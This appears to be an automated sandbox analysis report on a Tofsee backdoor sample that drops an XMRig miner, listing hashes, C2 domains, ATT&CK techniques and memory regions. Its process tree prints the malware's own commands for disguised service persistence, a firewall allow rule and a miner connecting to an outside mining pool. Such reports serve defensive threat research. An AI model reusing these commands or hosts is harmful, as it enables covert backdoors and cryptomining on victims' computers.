Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-05-2023 01:13

General

  • Target

    42dff7201d7e644ca0d8c5a4aa0c623fb2943b3d88f94794a2767a8aedfc30bd.exe

  • Size

    259KB

  • MD5

    755dc3d00bddf9483a791e5ec4458f30

  • SHA1

    0cb42a40bbfb57e68867e8b5f07e37f13ccd3ce3

  • SHA256

    42dff7201d7e644ca0d8c5a4aa0c623fb2943b3d88f94794a2767a8aedfc30bd

  • SHA512

    ce1e776753ba8d72cf18d5443ec4ca4d602dc531567d83f30cce817c0f5e8baa7955cdb22368b729a4b082ab79b4402a5cca5b7e0418770fc09662a3a82ab29d

  • SSDEEP

    3072:8Nu55AZAuEsBHOmuTmO7WeZH7+Ql/TWmoKbyBxUWmYEUP8nJ6nY/2TpzhC97MZ:NkC0BdnOye0w3oKba2t0nNdtY7MZ

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\42dff7201d7e644ca0d8c5a4aa0c623fb2943b3d88f94794a2767a8aedfc30bd.exe
    "C:\Users\Admin\AppData\Local\Temp\42dff7201d7e644ca0d8c5a4aa0c623fb2943b3d88f94794a2767a8aedfc30bd.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5068
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bqlvprpv\
      2⤵
        PID:3688
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\fmlyggos.exe" C:\Windows\SysWOW64\bqlvprpv\
        2⤵
          PID:2040
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bqlvprpv binPath= "C:\Windows\SysWOW64\bqlvprpv\fmlyggos.exe /d\"C:\Users\Admin\AppData\Local\Temp\42dff7201d7e644ca0d8c5a4aa0c623fb2943b3d88f94794a2767a8aedfc30bd.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1776
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description bqlvprpv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3444
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start bqlvprpv
          2⤵
          • Launches sc.exe
          PID:4416
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3984
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5068 -s 572
          2⤵
          • Program crash
          PID:4908
      • C:\Windows\SysWOW64\bqlvprpv\fmlyggos.exe
        C:\Windows\SysWOW64\bqlvprpv\fmlyggos.exe /d"C:\Users\Admin\AppData\Local\Temp\42dff7201d7e644ca0d8c5a4aa0c623fb2943b3d88f94794a2767a8aedfc30bd.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4820
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2128
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2456
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4820 -s 520
          2⤵
          • Program crash
          PID:5100
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 5068 -ip 5068
        1⤵
          PID:4672
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4820 -ip 4820
          1⤵
            PID:4300

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\fmlyggos.exe
            Filesize

            10.4MB

            MD5

            a791dc8b4ab1f979d90ae230017161d1

            SHA1

            2135cf82f0bfaeaf13028ef9f2e9def8cd718e33

            SHA256

            ca3923f40087f76c540316265a41885c4fbefe8c09d756a470fd17e56ebae3ad

            SHA512

            6d75902ddd80109611de1e5483e7034a9c60fe501b068f1cd437439e56555052796bc72fb3fd9d2ec244a08ad6e20d30af780db77e7cff2eaf663b50140d75be

          • C:\Windows\SysWOW64\bqlvprpv\fmlyggos.exe
            Filesize

            10.4MB

            MD5

            a791dc8b4ab1f979d90ae230017161d1

            SHA1

            2135cf82f0bfaeaf13028ef9f2e9def8cd718e33

            SHA256

            ca3923f40087f76c540316265a41885c4fbefe8c09d756a470fd17e56ebae3ad

            SHA512

            6d75902ddd80109611de1e5483e7034a9c60fe501b068f1cd437439e56555052796bc72fb3fd9d2ec244a08ad6e20d30af780db77e7cff2eaf663b50140d75be

          • memory/2128-167-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/2128-148-0x0000000000EE0000-0x0000000000EF5000-memory.dmp
            Filesize

            84KB

          • memory/2128-169-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/2128-143-0x0000000000EE0000-0x0000000000EF5000-memory.dmp
            Filesize

            84KB

          • memory/2128-184-0x0000000002FD0000-0x0000000002FD7000-memory.dmp
            Filesize

            28KB

          • memory/2128-145-0x0000000000EE0000-0x0000000000EF5000-memory.dmp
            Filesize

            84KB

          • memory/2128-146-0x0000000000EE0000-0x0000000000EF5000-memory.dmp
            Filesize

            84KB

          • memory/2128-168-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/2128-149-0x0000000002C00000-0x0000000002E0F000-memory.dmp
            Filesize

            2.1MB

          • memory/2128-152-0x0000000002C00000-0x0000000002E0F000-memory.dmp
            Filesize

            2.1MB

          • memory/2128-153-0x0000000002350000-0x0000000002356000-memory.dmp
            Filesize

            24KB

          • memory/2128-156-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/2128-183-0x0000000007A80000-0x0000000007E8B000-memory.dmp
            Filesize

            4.0MB

          • memory/2128-160-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/2128-161-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/2128-162-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/2128-163-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/2128-164-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/2128-165-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/2128-166-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/2128-159-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/2128-180-0x0000000007A80000-0x0000000007E8B000-memory.dmp
            Filesize

            4.0MB

          • memory/2128-140-0x0000000000EE0000-0x0000000000EF5000-memory.dmp
            Filesize

            84KB

          • memory/2128-170-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/2128-172-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/2128-173-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/2128-174-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/2128-171-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/2128-175-0x0000000002360000-0x0000000002370000-memory.dmp
            Filesize

            64KB

          • memory/2128-176-0x00000000023F0000-0x00000000023F5000-memory.dmp
            Filesize

            20KB

          • memory/2128-179-0x00000000023F0000-0x00000000023F5000-memory.dmp
            Filesize

            20KB

          • memory/2456-188-0x0000000000C70000-0x0000000000D61000-memory.dmp
            Filesize

            964KB

          • memory/2456-193-0x0000000000C70000-0x0000000000D61000-memory.dmp
            Filesize

            964KB

          • memory/2456-194-0x0000000000C70000-0x0000000000D61000-memory.dmp
            Filesize

            964KB

          • memory/2456-195-0x0000000000C70000-0x0000000000D61000-memory.dmp
            Filesize

            964KB

          • memory/2456-196-0x0000000000C70000-0x0000000000D61000-memory.dmp
            Filesize

            964KB

          • memory/2456-197-0x0000000000C70000-0x0000000000D61000-memory.dmp
            Filesize

            964KB

          • memory/2456-199-0x0000000000C70000-0x0000000000D61000-memory.dmp
            Filesize

            964KB

          • memory/2456-198-0x0000000000C70000-0x0000000000D61000-memory.dmp
            Filesize

            964KB

          • memory/4820-144-0x0000000000400000-0x00000000006BE000-memory.dmp
            Filesize

            2.7MB

          • memory/5068-138-0x0000000000400000-0x00000000006BE000-memory.dmp
            Filesize

            2.7MB

          • memory/5068-135-0x0000000000830000-0x0000000000843000-memory.dmp
            Filesize

            76KB